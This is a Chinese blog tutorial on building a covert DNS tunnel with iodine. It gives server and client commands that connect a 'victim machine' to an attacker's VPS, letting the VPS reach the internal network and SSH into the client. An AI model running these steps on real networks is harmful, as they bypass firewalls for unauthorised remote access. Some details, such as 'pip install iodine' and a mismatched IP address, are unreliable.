内网隐蔽隧道之DNS隧道搭建(iodine)

本文详细介绍了DNS隧道的概念、工作原理和应用场景,特别关注了iodine工具的使用。iodine是一款用于创建DNS隧道的软件,支持直连和中继模式,通过TAP虚拟网卡实现两端的通信。在环境中,首先配置域名解析,然后在VPS上安装并启动iodine服务器端,接着在客户端(Linux和Windows)上安装iodine并连接服务器。通过DNS隧道,客户端和服务器可以建立隐蔽的通信通道,实现内网穿透。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

DNS隧道

iodine

环境搭建

域名解析配置

安装并启动服务器

安装并启动客户端

客户端为linux

客户端为windows


DNS隧道

DNS隧道(DNS Tunneling)是将其他协议的内容封装在DNS协议中,然后以DNS请求和响应包完成传输数据(通信)的技术。当前网络世界中的DNS是一项必不可少的服务,所以防火墙和入侵检测设备处于可用性和用户友好的考虑将很难做到完全过滤掉DNS流量,因此,攻击者可以利用它实现诸如远程控制,文件传输等操作,众多研究表明DNS Tunneling在僵尸网络和APT攻击中扮演着至关重要的角色。

DNS隧道依据其实现方式大致可分为直连和中继两类。

直连:用户端直接和指定的目标DNS服务器建立连接,然后将需要传输的数据编码封装在DNS协议中进行通信。这种方式的优点是具有较高速度,但蔽性弱、易被探测追踪的缺点也很明显。另外直连方式的限制比较多,如目前很多的企业网络为了尽可能的降低遭受网络攻击的风险,一般将相关策略配置为仅允许与指定的可信任DNS服务器之间的流量通过。

中继隧道:通过DNS迭代查询而实现的中继DNS隧道,这种方式及其隐秘,且可在绝大部分场景下部署成功。但由于数据包到达目标DNS服务器前需要经过多个节点的跳转,数据传输速度和传输能力较直连会慢很多。

实现DNS隧道的关键要点:

  • dns2tcp:支持直连模式的DNS隧道,只实现了简单的DNS隧道,相关命令和控制服务需要自行搭建,且已在kali系统中直接集成。
  • iodine:最活跃、速度最快、支持直连和中继模式,且支持丰富的编码、请求类型选择
  • Dnscat2:封装在DNS协议中的加密C&C信道,直接运行工具即可实现数据传输、文件操作等命令和控制功能。

iodine

iodine是基于C语言开发的,分为服务端和客户端。iodine支持转发模式和中继模式。其原理是:通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一个局域网(可以通过ping命令通信)。在客户端和服务器之间建立连接后,客户机上会多出一块名为dns0的虚拟网卡。

环境搭建

域名解析配置

因为我们需要在自己的VPS上使用DNS服务,所以得先配置一下域名 —> 域名注册及域名解析

在添加A记录的基础上,再添加一个NS记录(将子域名指定其他DNS服务器解析,子域名字随便自己定)

  • 第一条A类记录,告诉域名系统,"www.ssrc.top" 的IP地址是 "39.100.88.162"
  • 第二条NS记录,告诉域名系统,"12.ssrc.top" 的域名由 "www.ssrc.top" 进行解析。即12.ssrc.top还是会被解析为33.100.88.162

此时,我们能ping通www.ssrc.top,说明A记录配置正确

 然后在我们的VPS上执行以下命令监听UDP53端口

tcpdump -n -i eth0 udp dst port 53

在任意一台机器上执行  nslookup 12.ssrc.top 命令,如果在我们的VPS监听的端口有查询信息,说明第二条记录设置成功

安装并启动服务器

在vps中安装iodine的服务端,因为为linux系统,直接执行以下命令进行下载

pip install iodine

执行以下命令启动服务端

iodined -f -c -P root@123456 172.16.10.1 12.ssrc.top -DD
    -f:在前台运行
    -c:禁止检查所有传入请求的客户端IP地址
    -P:指定密码
    -D:指定调试级别。-DD指第二级,D的数量随等级增加
    这里的172.16.10.1是自定义的局域网虚拟IP地址

运行之后VPS上会多一个虚拟网卡地址,地址为刚设置的地址

安装并启动客户端

我们在受害者机器上运行客户端

客户端为linux

kali中自带了iodine,如果没有则先下载再进行安装:https://github.com/yarrick/iodine

cd iodine-master
make && make install

然后执行下面命令连接服务端(需要root权限),如图连接成功。

iodine -f -P root@123456 12.ssrc.top

如下,代表连接成功,此时服务端也会有数据反应

 连接成功后,客户端上新建了一个dns0的网卡,IP地址为172.16.10.2,与服务端生成的虚拟网卡的地址处于同一网段

此时vps和客户端相当于处于同一内网环境

1. vps可以直接ping客户端地址172.16.10.2

 2. vps访问内网的web服务

 3. vps ssh连接客户端

客户端为windows

下载:iodine-0.7.0-windows+TAP

iodine.exe使用需要先安装TAP适配器,所以安装openvpn-install-2.3.13-I601-x86_64.exe,安装时只选择TAP Virtual Ethernet Adapte

 将iodine.exe以及dll文件上传到机器上(服务端使用iodined,客户端使用iodine)

安装完TAP后,执行

iodine.exe -f -P root@123456 12.ssrc.top

如下代表连接成功

 此时能看出多出了一张网卡172.16.10.2

此时vps服务端能ping通客户端,但是客户端ping不同服务端不知道为啥

此时在客户端的网段连接中是看不到任何信息的

### 如何搭建DNS隧道的过程与工具 #### DNS隧道的概念及其重要性 DNS隧道是一种利用DNS协议来传输数据的技术,它能够绕过传统的网络安全措施并隐藏通信流量。由于DNS是互联网的核心基础设施之一,任何设备连接到网络都需要依赖于DNS解析服务[^1]。 #### 工具介绍——iodine 碘(iodine)是一个常用的开源工具,用于创建基于DNS隐蔽通道。该工具允许用户通过标准的DNS查询发送TCP/IP数据包,从而实现远程访问或绕过防火墙的功能[^2]。 #### 搭建过程概述 以下是使用iodine搭建DNS隧道的主要环节: #### 1. 配置DNS服务器 为了支持DNS隧道功能,需要设置一台专门配置好的DNS服务器作为目标端点。这台服务器负责接收来自客户端的数据请求并将它们转发至实际目的地。具体操作可以参考Windows Server 2003下的DNS服务器构建指南。 #### 2. 安装iodine软件 分别在服务器侧和客户机上部署iodine程序文件。对于Linux平台可以直接通过包管理器获取;而在Windows操作系统则需手动下载可执行版本进行安装。 #### 3. 启动服务端监听模式 在已准备完毕的DNS主机之上运行iodine命令启动服务进程,指定相应的参数比如子域名称、密码字符串以及本地IP地址范围等选项。 ```bash sudo iodined -f -c -P yourpassword 10.0.0.1 example.com ``` #### 4. 连接客户端至隧道入口 同样地,在另一终端输入对应指令让计算机加入由上述步骤建立起来的安全链路之中去。 ```bash ./iodine -f -r nameserver_ip -P yourpassword subdomain.example.com ``` #### 技术细节探讨 关于整个过程中涉及到的具体机制可以从以下几个方面展开讨论: - **编码方式**: 将常规二进制流转换成适合嵌入TXT记录形式的内容表示法; - **分片处理**: 当单条消息长度超过最大限制时,则将其分割开来逐一分发出去后再重新组装回来; - **加密保护**: 使用预共享密钥或者其他更复杂的方法保障信息安全传递不受第三方窃听威胁影响[^3]。 #### 流量特征分析 通过对正常业务活动同异常行为之间的差异对比研究发现了一些显著区别之处可以帮助我们更好地理解和检测此类现象的发生情况。例如频繁出现大量不常见类型的资源请求或者持续时间较长却几乎没有真实意义回应的现象都可能暗示存在潜在风险隐患的存在。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ly4j

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值